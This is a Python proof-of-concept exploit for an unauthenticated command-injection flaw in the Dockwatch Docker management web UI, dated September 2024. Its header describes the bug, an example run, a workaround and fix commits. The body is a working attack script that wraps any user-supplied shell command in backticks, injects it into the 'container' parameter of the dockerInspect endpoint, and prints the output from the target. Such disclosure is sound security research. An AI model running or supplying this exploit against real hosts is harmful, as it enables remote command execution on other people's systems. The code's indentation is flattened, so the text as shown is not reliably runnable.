#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
#
# dockexec.py
#
# Dockwatch Remote Command Execution
#
# Jeremy Brown [jbrown3264/gmail] / Sept 2024
#
# Intro
#
# Dockwatch is a container management web UI for docker. It runs by default
# without authentication, although guidance is available for how to setup
# credentials for access. It has a Commands feature that allows a user to
# run docker commands such as inspect, network, ps. Prior to fix, it did not
# restrict input for parameters, so both 'container' and 'parameters' for the
# 'dockerInspect' command were vulnerable to shell command injection on the
# container as the 'abc'user with (limited) command output.
#
# Example
#
# $ ./dockexec.py http://host:9999 "id"
# uid=1001(abc)
# gid=131(abc)
# groups=131(abc),281(unraiddocker),1000(users)
#
# Workaround: echo "admin:[a-FANTASTIC-password]" > /config/logins
# * DO NOT DO THIS: echo "" > /config/logins (* unless you want spacebar to work for user/pass)
#
# Fix: see commits 23df366 and c091e4c, kudos for maintainers for quick fixes
#import sys
import requests
import re
def clean_output(output):
output = output.replace('[]', '')
output = re.sub(r'Error: No such object:\s*', '', output)
output = output.replace('command', '')
output = output.replace('test\n', '')
lines = [line.strip() for line in output.split('\n')]
return '\n'.join(lines)
def send_command(url, command):
endpoint = f"{url}/ajax/commands.php"
data = {
'm': 'runCommand',
'command': 'dockerInspect',
'container': command,
'parameters': 'test', # also affected
'servers': '0'
}
try:
response = requests.post(endpoint, data=data)
response.raise_for_status()
match = re.search(r'<pre[^>]*>(.*?)</pre>', response.text, re.DOTALL)
if match:
output = clean_output(match.group(1))
if output:
print("%s" % output)
else:
print("No output found.")
else:
print("No output found in the response.")
except requests.exceptions.RequestException as error:
print("An error occurred: %s" % error)
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: %s <url> <command>" % sys.argv[0])
sys.exit(1)
url = sys.argv[1]
command = "`" + sys.argv[2] + "`"
send_command(url, command)